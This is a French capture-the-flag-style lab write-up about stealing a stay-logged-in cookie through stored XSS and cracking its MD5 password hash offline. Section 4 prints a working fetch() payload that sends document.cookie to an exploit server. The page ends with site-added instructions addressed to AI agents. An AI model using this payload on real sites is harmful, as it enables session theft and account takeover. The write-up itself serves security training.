> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/authentication/offline-password-cracking.md).

# Crackage hors ligne des mots de passe

### Cassage hors ligne de mot de passe

Ce laboratoire stocke un **mot de passe pass dans un cookie**. De plus, la fonctionnalité de commentaires présente une **XSS** vulnérabilité. / Objectif : récupérer le **carlos** cookie « stay-logged-in », casser son mot de passe hors ligne, puis se connecter en tant que lui pour supprimer son compte.

**Identifiants fournis :**

* wiener : peter/ **Victime :** carlos

<figure><img src="/files/bf5f07d1354c8ffa11dc86119120c569226f6c8c" alt=""><figcaption></figcaption></figure>

### 2. Comment le *stay-logged-in* cookie fonctionne

Lorsque « stay logged in » est coché, la requête envoyée contient :

```bash
username=wiener&password=peter&stay-logged-in=on
```

Le serveur renvoie alors un **stay-logged-in** cookie encodé en **Base64**:

Décodage →

```bash
d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
```

* wiener:51dc30ddc473d43a6011e9ebba6ca770

<figure><img src="/files/85060c87edb7562bb62dda0dfe49218e101d1064" alt=""><figcaption></figcaption></figure>

Le diagramme suivant est donc utilisé :

<figure><img src="/files/010b2a8e8eb9b852a34602441ab2f43bbc8ed3e0" alt=""><figcaption></figcaption></figure>

### 3. Tentative de cassage hors ligne via Intruder

Dans Burp, vous pouvez créer une charge utile à l'aide de :

1. \*\* Transformation du mot de passe en MD5\*\*

<figure><img src="/files/40858a024c21e1197a9244c7c70a61cadc1d1c04" alt="" width="548"><figcaption></figcaption></figure>

* \*\*Préfixé

<figure><img src="/files/05683933e54b744cc5ad7c6ff60174605f967713" alt="" width="563"><figcaption></figcaption></figure>

1. **Encoder toute la valeur en Base64**

<figure><img src="/files/efc91a33881bdc0b1bf46c024d43f1bae948a0fc" alt="" width="563"><figcaption></figcaption></figure>

Puis tester un dictionnaire.

<figure><img src="/files/c9dfdc55bebe6c558e072e1722a1324e249c5c39" alt=""><figcaption></figcaption></figure>

→ Aucun résultat concluant.

<figure><img src="/files/18d9a50de068645aee45f8940ef66ceceebab0dd" alt=""><figcaption></figcaption></figure>

### 4. Exploitation du XSS dans les commentaires

Le champ commentaire est vulnérable au JavaScript :

```javascript
<script>
   alert(0)
</script>
```

<figure><img src="/files/2675b8f6940cf130f152238512eb6192b50c775c" alt=""><figcaption></figcaption></figure>

Nous pouvons donc extraire les cookies via un fetch :

```javascript
<script>
   fetch("https://exploit-0a180072041825ef80c502b6013c00ef.exploit-server.net/exploit?cookie=" + btoa(document.cookie));
</script>
```

<figure><img src="/files/280846c8d7811d0a39529fcf2af82a44b65c7b52" alt=""><figcaption></figcaption></figure>

La requête arrive sur notre serveur d'exploitation.

<figure><img src="/files/820abca5188a2f3cd9d92ec9d70d0ff524e11eba" alt=""><figcaption></figcaption></figure>

### 5. Récupération et décodage du cookie de Carlos

Cookie intercepté (Base64) :

```bash
c2VjcmV0PXY2UE5LWnJ3czNYSmFNVWtaU09wOWJRbGRCVUVlQnhLOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
```

Décodage →

* carlos:26323c16d5f4dabff3bb136f2460a943

<figure><img src="/files/70ce96a6c0461fbfa3e3e25bdf05e6d0d6014977" alt=""><figcaption></figcaption></figure>

### 6. Cassage du mot de passe

Après avoir envoyé le hash à CrackStation, il renvoie :

### 7. Finalisation

Connexion avec :

<figure><img src="/files/7ec92bbb3ffad439618a353cd6d9fae8d36e2880" alt=""><figcaption></figcaption></figure>

**carlos : onceuponatime**

<figure><img src="/files/ee996071aa5afa7bf6c15dd99a224da470c7b4c3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/authentication/offline-password-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
